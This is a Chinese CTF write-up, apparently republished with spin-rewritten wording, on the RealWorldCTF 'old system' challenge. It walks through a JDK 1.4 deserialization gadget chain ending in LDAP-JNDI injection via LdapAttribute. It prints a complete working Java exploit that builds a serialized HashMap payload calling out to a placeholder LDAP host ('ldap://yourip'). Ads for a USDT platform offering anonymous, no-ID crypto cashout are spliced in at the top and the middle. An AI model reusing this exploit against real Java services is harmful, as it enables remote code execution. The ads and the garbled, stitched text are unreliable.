usdt交易平台(www.caibao.it):realworldctf old system复盘(jdk1.4 getter jndi gadget)

USDT自动充值接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

[TOC]

0x00 问题剖析

本题考察Gadget链的挖掘。问题中给的lib库中存在CommonsBeanutils这条链,凭据ysoserial中的代码可知这条链的几个要害节点如下:

PriorityQueue.readObject() -> BeanComparator.compare() -> TemplatesImpl.getOutputProperties() -> rce

然而本题的jdk版本是1.4,不存在PriorityQueueTemplatesImpl类。也就是说这条链的反序列化入口和执行rce的点都没了。年轻的我看到这里以为可能不是这条链,就略过了。然而这正是这道题的考点。

0x01 解题

既然考的就是这个点,那么首先要确定缺哪些器械。除去刚刚说的少的入口和出口,留给我们的就只剩下:BeanComparator.compare() -> 执行getter这条链。

链的入口需要执行compare(),最后rce的地方则需要在一个getter里。

0x02 入口

这里就直接解说作者给出的链了。

HashMap.readObject() -> HashMap.putForCreate() -> AbstractMap.equals() -> TreeMap.get() -> TreeMap.getEntry() -> BeanComparator.compare()

本质上是当HashMap举行反序列化时,每反序列化一对k-v,都会把这对k-v与之前的k-v的key举行对比。详见下面代码

private void putForCreate(K var1, V var2) {
    int var3 = var1 == null ? 0 : hash(var1.hashCode());//盘算hashcode
    int var4 = indexFor(var3, this.table.length);//凭据hashcode盘算key在this.table中的索引数

    for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {
        Object var6;
        if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1 != null && var1.equals(var6))) {//若是当前的hash与之前key的hash相同,则判断这两个key是否相等,即挪用当前key工具的equals()方式来判断。在本gadget中,var1就是AbstractMap工具,但由于这是抽象类,因此使用子类来取代,恰好TreeMap正是其子类。
            var5.value = var2;//若是相等,则更新之前key对应的value
            return;
        }
    }

    ...
}

后面就不再说了

0x03 出口:RCE

这是本题最精彩的地方,作者(膜拜voidfyoo师傅)直接给出了他发现的一条新的用于举行JNDI注入的getter gadget。

这个类就是com.sun.jndi.ldap.LdapAttribute,其getAttributeDefinition()方式存在ldap-jndi注入,可以举行rce。

,

usdt支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
public DirContext getAttributeDefinition() throws NamingException {
    DirContext var1 = this.getBaseCtx().getSchema(this.rdn);
    return (DirContext)var1.lookup("AttributeDefinition/" + this.getID());
}

刚看到这条链我以为是在var1.lookup(xx)【var1是LdapSchemaCtx工具】时造成的JNDI注入,然而我在组织时发现无法举行注入,跟踪之后发现这里只能从已经bind的工具中查询,因此无法行使。

现实上的挪用点是在

c_lookup:982, LdapCtx (com.sun.jndi.ldap)
c_resolveIntermediate_nns:152, ComponentContext (com.sun.jndi.toolkit.ctx)
c_resolveIntermediate_nns:342, AtomicContext (com.sun.jndi.toolkit.ctx)
p_resolveIntermediate:381, ComponentContext (com.sun.jndi.toolkit.ctx)
p_getSchema:408, ComponentDirContext (com.sun.jndi.toolkit.ctx)
getSchema:388, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
getSchema:189, InitialDirContext (javax.naming.directory)
getAttributeDefinition:191, LdapAttribute (com.sun.jndi.ldap)

至于作者是若何发现这么深的点的,还要从LDAP-JNDI注入的最底层最先提及。

0x04 LDAP-JNDI注入 root cause

回首一下JNDI注入,写一个LDAP-JNDI注入来调试,

new InitialContext().lookup("ldap://ip/exp");

调试之后,到最终的decodeObject()剖析Reference工具之前(rce)的挪用栈如下:

c_lookup:1032, LdapCtx (com.sun.jndi.ldap)
p_lookup:526, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:159, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:185, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:77, ldapURLContext (com.sun.jndi.url.ldap)
lookup:392, InitialContext (javax.naming)

因此,现实上除了InitialContext.lookup()会造成LDAP-JNDI注入,以下的方式也可以用。

LdapCtx.c_lookup()
ComponentContext.p_lookup()
PartialCompositeContext.lookup()
GenericURLContext.lookup()
ldapURLContext.lookup()
InitialContext.lookup()

本题正是使用了LdapCtx.c_lookup()

0x05 组织exp

已经知道了链的逻辑,然而在现实组织exp时照样有不少小坑点的,好比一最先我在组织最外层的HashMap工具时测试代码是这样写的:

TreeMap tm1 = new TreeMap();
TreeMap tm2 = new TreeMap();
tm1.put("111", "AAA");
tm2.put("111", "AAA");
HashMap hm = new HashMap();
hm.put(tm1, "111");
hm.put(tm2, "222");

然而这样组织最终的HashMap工具中现实上只有一个k-v对。由于在put时tm1.equals(tm2)是建立的,因此HashMap以为这是相同的工具,从而对这个key的value举行了更新。实在这里只要把两个TreeMap的key换成LdapAttribute工具实例就好了,而我那时以为只能通过反射来组织,便走了好长的一段弯路。

下面给出我最终组织出的exp

import org.apache.commons.beanutils.BeanComparator;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;


public class POC1 {
    public static void main(String[] args) {
        try{

            BasicAttribute la = getGadgetObj();//获取LdapAttribute工具

            BeanComparator bc = new BeanComparator("attributeDefinition");

            HashMap hm = new HashMap();
            TreeMap tm1 = new TreeMap(bc);//用于挪用get()
            TreeMap tm2 = new TreeMap(bc);//用于挪用equals()

            tm1.put("aaa", "AAA");
            tm2.put(la, "BBB");//key处放LdapAttribute工具

            hm.put(tm1, "111");
            hm.put(tm2, "222");

            //弯路,组织HashMap
            Field fi = hm.getClass().getDeclaredField("table");
            fi.setAccessible(true);
            Map.Entry[] hmentry = (Map.Entry[]) fi.get(hm);
            int tablelength = hmentry.length;
            tm1.hashCode();

            Method hash_mt = hm.getClass().getDeclaredMethod("hash", new Class[]{Object.class});
            hash_mt.setAccessible(true);
            Object indexfor_arg1 = hash_mt.invoke(hm, new Object[]{(Object)(new Integer(tm1.hashCode()))});//获取tm1的hashcode

            Method indexfor_mt = hm.getClass().getDeclaredMethod("indexFor", new Class[]{int.class, int.class});
            indexfor_mt.setAccessible(true);
            int final_index = Integer.parseInt(indexfor_mt.invoke(hm, new Object[]{new Integer(indexfor_arg1.toString()), new Integer(tablelength)}).toString());

            Map.Entry me = ((Map.Entry[])hmentry)[final_index];//这是key为tm1的entry

            // System.out.println(me);
            Class entryclazz = Class.forName("java.util.HashMap$Entry");
            Field key_fi = entryclazz.getDeclaredField("key");
            key_fi.setAccessible(true);
            Field modifierField = Field.class.getDeclaredField("modifiers");
            modifierField.setAccessible(true);
            modifierField.setInt(key_fi, key_fi.getModifiers() & ~Modifier.FINAL);//去掉final属性
            key_fi.set(me, tm2.clone());//将HashMap中的key替换成tm2,使两个相同
            //弯路竣事

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(hm);

            System.out.println("trying...");

            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            HashMap hmhm = (HashMap)ois.readObject();



            System.out.println("end...");

        }catch (Exception e){
            e.printStackTrace();
        }
    }


    public static BasicAttribute getGadgetObj(){
        try{
            Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
            Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
            clazz_cons.setAccessible(true);

            BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"});
            Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
            bcu_fi.setAccessible(true);
            bcu_fi.set(la, "ldap://yourip");

            //不要挪用getBaseCtx,否则序列化的时刻,baseCtx属性会由于无法类型转换cast导致失足
//            Method gbc_mt = clazz.getDeclaredMethod("getBaseCtx", new Class[]{});
//            gbc_mt.setAccessible(true);
//            DirContext dc_1 = (DirContext)gbc_mt.invoke(la, new Object[]{});

            CompositeName cn = new CompositeName();
            cn.add("a");
            cn.add("b");
            Field rdn_fi = clazz.getDeclaredField("rdn");
            rdn_fi.setAccessible(true);
            rdn_fi.set(la, cn);
            return la;
        }catch (Exception e){
            e.printStackTrace();
        }
        return null;

    }

}

手艺垃圾,若有错误大佬轻喷

添加回复:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。